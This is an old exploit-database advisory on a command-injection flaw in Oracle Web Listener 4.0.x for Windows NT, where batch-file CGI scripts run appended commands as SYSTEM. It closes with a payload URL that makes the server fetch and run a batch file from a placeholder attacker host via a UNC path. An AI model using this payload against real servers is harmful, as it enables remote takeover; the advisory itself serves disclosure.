Oracle Web Listener 4.0.x - for NT Batch File

EDB-ID:

19809




Platform:

Windows

Date:

2000-03-15


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Oracle Web Listener for NT makes use of various batch files as cgi scripts, which are stored in the /ows-bin/ directory by default. 

Any of these batch files can be used to run arbitrary commands on the server, simply by appending '?&' and a command to the filename. The command will be run at the SYSTEM level. The name of a batch file is not even neccessary, as it will translate the '*' character and apply the appended string to every batch file in the directory. Moreover, UNC paths can be used to cause the server to download and execute remote code.

http: //target/ows-bin/*.bat?&\\attacker\getadmin.bat